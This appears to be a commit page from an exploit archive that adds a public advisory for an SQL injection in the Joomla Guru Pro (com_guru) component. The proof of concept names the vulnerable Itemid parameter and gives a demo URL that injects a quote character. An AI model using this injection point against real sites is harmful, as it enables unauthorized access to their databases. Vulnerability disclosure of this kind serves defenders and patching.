DB: 2016-07-15
This commit is contained in:
parent
13e9ec719b
commit
0d018828aa
10 changed files with 16392 additions and 16368 deletions
23
platforms/php/webapps/40111.txt
Executable file
23
platforms/php/webapps/40111.txt
Executable file
|
@ -0,0 +1,23 @@
|
|||
# Exploit Title: Joomla Guru Pro (com_guru) Component - SQL Injection
|
||||
# Exploit Author: s0nk3y
|
||||
# Date: 14/07/2016
|
||||
# Vendor Homepage: https://www.ijoomla.com
|
||||
# Software Link: https://www.ijoomla.com/component/digistore/products/47-joomla-add-ons/119-guru-pro/189?Itemid=189
|
||||
# Category: webapps
|
||||
# Version: All
|
||||
# Tested on: Ubuntu 16.04
|
||||
|
||||
1. Description
|
||||
|
||||
Turn your knowledge into dollars! Sell Your Courses Today!
|
||||
|
||||
Guru, allows you to create online courses easily! We believe that everyone is an expert in something. If you know something that others don't, there is no better time to profit from it. You can create a course about your topic and start generating income.
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
Itemid Parameter Vulnerable To SQL Injection
|
||||
|
||||
com_guru&view=gurupcategs&layout=view&Itemid=[SQL Injection]&lang=en
|
||||
|
||||
Demo :
|
||||
http://server/index.php?option=com_guru&view=gurupcategs&layout=view&Itemid=123%27&lang=en
|
Loading…
Add table
Reference in a new issue